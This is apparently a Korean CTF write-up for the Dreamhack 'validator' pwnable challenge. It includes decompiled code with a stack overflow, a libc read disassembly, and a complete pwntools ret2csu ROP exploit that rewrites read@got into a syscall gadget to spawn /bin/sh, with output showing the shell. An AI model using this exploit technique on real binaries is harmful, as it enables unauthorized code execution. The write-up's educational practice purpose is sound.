int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-80h]
memset(&s, 0, 0x10uLL);
read(0, &s, 0x400uLL);
validate(&s, 128LL);
return 0;
}
__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
unsigned int i; // [rsp+1Ch] [rbp-4h]
signed int j; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
if ( *(_BYTE *)((signed int)i + a1) != correct[i] ) // corret = "DREAMHACK!"
exit(0);
}
for ( j = 11; a2 > j; ++j )
{
if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
exit(0);
}
return 0LL;
}
read
함수 밖에 없어서 libc base
를 구할 수 없을 때는 read
나 sleep
함수를 syscall
가젯으로 만들어 익스플로잇을 할 수 있습니다.
[1] write "/bin/sh\x00"
read(0, bss, 8)
[2] make syscall gadget
read(0, read@got, 1)
[3] set rax 59
read(1, bss, 59)
[4] /bin/sh
execve(bss, 0, 0)
pwndbg> disass read
Dump of assembler code for function __GI___libc_read:
0x00007ffff7af2020 <+0>: lea rax,[rip+0x2e09b1] # 0x7ffff7dd29d8 <__libc_multiple_threads>
0x00007ffff7af2027 <+7>: mov eax,DWORD PTR [rax]
0x00007ffff7af2029 <+9>: test eax,eax
0x00007ffff7af202b <+11>: jne 0x7ffff7af2040 <__GI___libc_read+32>
0x00007ffff7af202d <+13>: xor eax,eax
0x00007ffff7af202f <+15>: syscall
0x00007ffff7af2031 <+17>: cmp rax,0xfffffffffffff000
0x00007ffff7af2037 <+23>: ja 0x7ffff7af2090 <__GI___libc_read+112>
0x00007ffff7af2039 <+25>: repz ret
0x00007ffff7af203b <+27>: nop DWORD PTR [rax+rax*1+0x0]
0x00007ffff7af2040 <+32>: push r12
0x00007ffff7af2042 <+34>: push rbp
0x00007ffff7af2043 <+35>: mov r12,rdx
0x00007ffff7af2046 <+38>: push rbx
0x00007ffff7af2047 <+39>: mov rbp,rsi
0x00007ffff7af204a <+42>: mov ebx,edi
0x00007ffff7af204c <+44>: sub rsp,0x10
0x00007ffff7af2050 <+48>: call 0x7ffff7b12540 <__libc_enable_asynccancel>
0x00007ffff7af2055 <+53>: mov rdx,r12
0x00007ffff7af2058 <+56>: mov r8d,eax
0x00007ffff7af205b <+59>: mov rsi,rbp
0x00007ffff7af205e <+62>: mov edi,ebx
0x00007ffff7af2060 <+64>: xor eax,eax
0x00007ffff7af2062 <+66>: syscall
0x00007ffff7af2064 <+68>: cmp rax,0xfffffffffffff000
0x00007ffff7af206a <+74>: ja 0x7ffff7af20a4 <__GI___libc_read+132>
0x00007ffff7af206c <+76>: mov edi,r8d
0x00007ffff7af206f <+79>: mov QWORD PTR [rsp+0x8],rax
0x00007ffff7af2074 <+84>: call 0x7ffff7b125a0 <__libc_disable_asynccancel>
0x00007ffff7af2079 <+89>: mov rax,QWORD PTR [rsp+0x8]
0x00007ffff7af207e <+94>: add rsp,0x10
0x00007ffff7af2082 <+98>: pop rbx
0x00007ffff7af2083 <+99>: pop rbp
0x00007ffff7af2084 <+100>: pop r12
0x00007ffff7af2086 <+102>: ret
0x00007ffff7af2087 <+103>: nop WORD PTR [rax+rax*1+0x0]
0x00007ffff7af2090 <+112>: mov rdx,QWORD PTR [rip+0x2dadd1] # 0x7ffff7dcce68
0x00007ffff7af2097 <+119>: neg eax
0x00007ffff7af2099 <+121>: mov DWORD PTR fs:[rdx],eax
0x00007ffff7af209c <+124>: mov rax,0xffffffffffffffff
0x00007ffff7af20a3 <+131>: ret
0x00007ffff7af20a4 <+132>: mov rdx,QWORD PTR [rip+0x2dadbd] # 0x7ffff7dcce68
0x00007ffff7af20ab <+139>: neg eax
0x00007ffff7af20ad <+141>: mov DWORD PTR fs:[rdx],eax
0x00007ffff7af20b0 <+144>: mov rax,0xffffffffffffffff
0x00007ffff7af20b7 <+151>: jmp 0x7ffff7af206c <__GI___libc_read+76>
End of assembler dump.
read
함수를 봐보면 끝에 1 바이트만 주소가 변하고 앞에 주소는 동일하게 유지됩니다.
그래서 뒤에 1바이트 주소를 0x2f
로 변조하면 read
함수는 syscall
가젯이 됩니다.
from pwn import *
def rtc_chain(func, arg1, arg2, arg3):
return p64(0) + p64(1) + p64(func) + p64(arg1) + p64(arg2) + p64(arg3) + p64(0x4006d0)
def make_payload():
payload = b"DREAMHACK!"
list = []
for i in range(118, -1, -1):
list.append(i)
payload += bytes(list)
payload += b"B"*7
return payload
p = process("./validator_server")
e = ELF("./validator_server")
libc = e.libc
r = ROP(e)
#context.log_level = 'debug'
#gdb.attach(p)
read_got = e.got['read']
bss = e.bss()
csu_init = 0x4006ea
main = 0x40063a
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
ret = r.find_gadget(['ret'])[0]
payload = make_payload()
# write "/bin/sh"
# read(0, bss, 8)
payload += p64(csu_init)
payload += rtc_chain(read_got, 0, bss, 8)
# make syscall gadget
# read(0, read@got, 1)
payload += p64(0)
payload += rtc_chain(read_got, 0, read_got, 1)
# set rax 59
# write(1, bss, 59)
payload += p64(0)
payload += rtc_chain(read_got, 1, bss, 59)
# execve("/bin/sh", 0, 0)
payload += p64(0)
payload += rtc_chain(read_got, bss, 0, 0)
pause()
p.sendline(payload)
p.send(b"/bin/sh\x00")
p.send(b'\x2f')
p.recv(59)
p.interactive()
☁ validator [main] python3 exploit.py
[+] Starting local process './validator_server': pid 10249
[*] '/home/ion/security/wargame/dreamhack/pwnable/validator/validator_server'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 15 cached gadgets for './validator_server'
[*] Paused (press any to continue)
[*] Switching to interactive mode
$
$ ls
exploit.py remote.py validator_dist.i64
local.py validator_dist validator_server